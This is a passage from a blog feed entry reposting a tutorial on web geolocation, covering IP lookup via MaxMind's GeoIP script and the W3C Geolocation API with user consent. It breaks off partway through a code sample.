src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3138548880507154050.post-8706110369551816853</id><published>2012-01-01T01:09:00.001-08:00</published><updated>2012-01-01T01:09:18.658-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Entering The Wonderful World of Geo Location"/><title type='text'>Entering The Wonderful World of Geo Location</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;I thought I could not be out-geeked. With a background in radio, and  having dabbled in the demo scene on the Commodore 64 and hung out on &lt;a href=&quot;http://en.wikipedia.org/wiki/Bulletin_board_system&quot;&gt;BBS&lt;/a&gt;es and &lt;a href=&quot;http://en.wikipedia.org/wiki/Internet_Relay_Chat&quot;&gt;IRC&lt;/a&gt; for a long time and all the other things normal kids don’t quite get, I thought I was safe in this area.&lt;br /&gt;
Then I went to my first &lt;a href=&quot;http://wherecamp.eu/&quot;&gt;WhereCamp&lt;/a&gt;,  an unconference dealing with geographical issues and how they relate to  the world of Web development. Even my A-Levels in Astronomy did not  help me there. I was out-geeked by the people who drive and tweak the  things that we now consider normal about geo-location on the Web.&lt;br /&gt;
Pulling out your phone, find your location and getting directions to  the nearest bar is easy, but a lot of work has gone into making that  possible. The good news is that because of that effort, mere geo-mortals  like you and me can now create geographically aware products using a  few lines of code. So, let’s give the geo-community a big hand.&lt;br /&gt;
&lt;div id=&quot;textadtarget&quot;&gt;&lt;div id=&quot;textad&quot;&gt;[&lt;strong&gt;Editor&#39;s note&lt;/strong&gt;: A must-have for professional Web designers and developers: &lt;em&gt;The Printed Smashing Books Bundle&lt;/em&gt; is full of practical insight for your daily work.  &lt;a href=&quot;http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?oaparams=2__bannerid=2863__zoneid=68__OXLCA=1__cb=42394d7f59__oadest=https%3A%2F%2Fshop.smashingmagazine.com%2Fsmashing-book-print-bundle1.html%3Fpk_campaign%3Dsmashing_books-bundle%26pk_kwd%3Dsm-ta-02&quot; target=&quot;_self&quot;&gt;Get the bundle right away&lt;/a&gt;!]&lt;div id=&quot;beacon_42394d7f59&quot; style=&quot;left: 0px; position: absolute; top: 0px; visibility: hidden;&quot;&gt;&lt;img alt=&quot;&quot; height=&quot;0&quot; src=&quot;http://auslieferung.commindo-media-ressourcen.de/www/delivery/lg.php?bannerid=2863&amp;amp;campaignid=1018&amp;amp;zoneid=68&amp;amp;loc=1&amp;amp;referer=http%3A%2F%2Fcoding.smashingmagazine.com%2F2010%2F03%2F08%2Fentering-the-wonderful-world-of-geo-location%2F&amp;amp;cb=42394d7f59&quot; style=&quot;height: 0px; width: 0px;&quot; width=&quot;0&quot; /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3&gt;Why Geo Matters&lt;/h3&gt;First of all, why is it important to consider physical location on  this planet (at this moment) when we develop Web products? There are a  few answers to this.&lt;br /&gt;
The first answer is mobility. The days of people sitting in front of  desktop machines at home are over. Sales of mobile devices, laptops and  netbooks have overtaken those of bulky stationary computers in the last  few years. The power of processors now allows us to use smaller, more  mobile hardware to perform the same tasks. So, if people use their  hardware on the go, we should bring our systems to them. Which brings us  to the second—very important—point: relevance.&lt;br /&gt;
Giving the user content that is relevant to the physical space they  are in at the moment makes a lot of sense. We are creatures of habit.  While we love the reach of the Internet, we also want to be able to find  things in our local area easily: people to meet, cafes to frequent,  interesting buildings and museums to learn about. The advertising  industry—especially of the adult and dating variety—realized this years  ago. I am sure you have come across one of the following before:&lt;br /&gt;
&lt;img alt=&quot;Adult personal ads with geo location&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/adultpersonals.jpg&quot; /&gt;&lt;br /&gt;
I am sure these ads are more successful than the ones that show only  user names. That the photos and names are the same for every location  doesn’t seem to be a problem (but yes, I noticed it). So how does it all  work?&lt;br /&gt;
&lt;h3&gt;Getting The User’s Location Via IP&lt;/h3&gt;Every computer on a network has a number that identifies it: its &lt;a href=&quot;http://en.wikipedia.org/wiki/IP_address&quot;&gt;IP address&lt;/a&gt;.  The Internet is nothing but a massive network, and your IP number is  assigned to you by the service provider that you have used to connect to  that network. Because the numbers that service providers assign change  from one geographical location to the next (much like telephone  numbers), you can make quite a good estimate of where your visitors are  from.&lt;br /&gt;
To find out where a certain phone number is from, you use a phone book. To find out where an IP is from, you can use the &lt;a href=&quot;http://maxmind.com/&quot;&gt;Maxmind GeoIP database&lt;/a&gt;. Maxmind also provides a &lt;a href=&quot;http://www.maxmind.com/app/javascript_city&quot;&gt;JavaScript solution&lt;/a&gt; that you can use on websites:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_555765&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;01&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;script type=&quot;&amp;lt;/code&quot;&gt;
&lt;code class=&quot;string&quot;&gt;&quot;text/javascript&quot;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;src=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;&lt;a href=&quot;http://j.maxmind.com/app/geoip.js&quot;&gt;http://j.maxmind.com/app/geoip.js&lt;/a&gt;&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&gt;
&lt;/script&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;02&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;script&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;03&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;info = document.getElementById(&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;info&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;04&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;lat = geoip_latitude();&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;05&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;lon = geoip_longitude();&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;06&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;city = geoip_city();&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;07&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;out = &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;h3&gt;

Information from your IP&lt;/h3&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;+&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;08&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;ul&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;+&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;09&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;
&lt;li&gt;Latitude: &#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;+ lat + &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/li&gt;
&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;+&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;
&lt;li&gt;Longitude: &#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;+ lon + &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/li&gt;
&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;+&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;11&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;
&lt;li&gt;City: &#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;+ city + &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/li&gt;
&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;+&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;12&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;
&lt;li&gt;Region: &#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;+ geoip_region() + &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/li&gt;
&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;+&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;13&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;
&lt;li&gt;Region Name: &#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;+ geoip_region_name() + &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/li&gt;
&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;+&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;14&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;
&lt;li&gt;Postal Code: &#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;+ geoip_postal_code() + &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/li&gt;
&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;+&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;15&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;
&lt;li&gt;Country Code: &#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;+ geoip_country_code() + &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/li&gt;
&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;+&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;16&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;
&lt;li&gt;Country Name: &#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;+ geoip_country_name() + &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/li&gt;
&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;+&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;17&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/ul&gt;&#39;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;18&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;info.innerHTML = out;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;

&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;19&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;
&lt;/script&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;img alt=&quot;Getting the users geographical location using IP - in this case Sunnyvale, California&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/geolocation.jpg&quot; /&gt;&lt;br /&gt;
This gives you some information on the user (&lt;a href=&quot;http://isithackday.com/hacks/geo/js-location.html&quot;&gt;try it out for yourself&lt;/a&gt;).  The challenge, though, is relevance. Your IP location is the location  of the IP that your provider has assigned to you. Depending on your  provider, this could be quite a ways off (in my case, I live in London,  but my provider used to show me as living in Rochester). Another problem  is if you work for a company that uses a &lt;a href=&quot;http://en.wikipedia.org/wiki/Virtual_private_network&quot;&gt;VPN&lt;/a&gt;. At Yahoo, for example, I have to connect to the VPN to read my company email, and I have to choose a location to connect to:&lt;br /&gt;
&lt;img alt=&quot;A VPN client allowing me to connect to different servers around the world&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/vpn.jpg&quot; /&gt;&lt;br /&gt;
So, for a solution like the one highlighted above, I would show up as  being in a totally different part of the world (which might be useful  for watching Internet TV in the UK while I am in the US). IP  geo-location, then, is an approximation, not a dead-on science.&lt;br /&gt;
&lt;h3&gt;Getting The User’s Location Via The W3C Geo API&lt;/h3&gt;Guessing geographical location via IP is possible, but it can also be  pretty creepy. Being able to take advantage of your location is useful,  but security-conscious users and people who are generally suspicious of  the Internet are not happy with the idea of their movements being  monitored by a computer. This makes sense: if I can monitor your  whereabouts day and night, I would know where and when to rob your house  without you being there.&lt;br /&gt;
There are a lot of solutions to the challenge of having good-quality geo-location and maintaining privacy. Google Gears &lt;a href=&quot;http://code.google.com/apis/gears/api_geolocation.html&quot;&gt;has a geo-location service&lt;/a&gt;; &lt;a href=&quot;http://plazes.com/&quot;&gt;Plazes helps you store your location&lt;/a&gt;; and &lt;a href=&quot;http://fireeagle.yahoo.net/&quot;&gt;Yahoo’s Fire Eagle&lt;/a&gt; is probably the most polished way to securely maintain your location on the Web.&lt;br /&gt;
The problem with all of these services is that they require the user  to either install a plug-in or visit a Web service to update their  location. This is not fun; browsers should do the work for you.&lt;br /&gt;
We now have a &lt;a href=&quot;http://www.w3.org/TR/geolocation-API/&quot;&gt;W3C recommendation for a geo-location API&lt;/a&gt; that allows browsers to request the geographical location of the user. This makes it less creepy, and you get real data back.&lt;br /&gt;
Firefox 3.5 and above &lt;a href=&quot;http://www.mozilla.com/firefox/geolocation/&quot;&gt;supports the W3C geo-location API&lt;/a&gt;. So does &lt;a href=&quot;http://developer.apple.com/safari/library/documentation/AppleApplications/Reference/SafariWebContent/GettingGeographicalLocations/GettingGeographicalLocations.html&quot;&gt;Safari on the iPhone if you run OS 3.0 or above&lt;/a&gt;. If you use the API, the browser will ask the user whether they want to share their location with your website.&lt;br /&gt;
&lt;img alt=&quot;The geolocation API asks the user if they want to share their location&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/geowarning.jpg&quot; /&gt;&lt;br /&gt;
Once the user allows you to get their location, you get much more  detailed latitude and longitude values. Using the API is very easy:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_26328&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;01&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;comments&quot;&gt;// if the browser supports the w3c geo api&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;02&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;if&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(navigator.geolocation){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;03&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// get the current position&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;04&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;navigator.geolocation.getCurrentPosition(&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;05&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;06&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// if this was successful, get the latitude and longitude&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;07&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;function&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(position){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;08&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;lat = position.coords.latitude;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;09&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;lon = position.coords.longitude;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;},&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;11&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// if there was an error&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;12&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;function&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(error){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
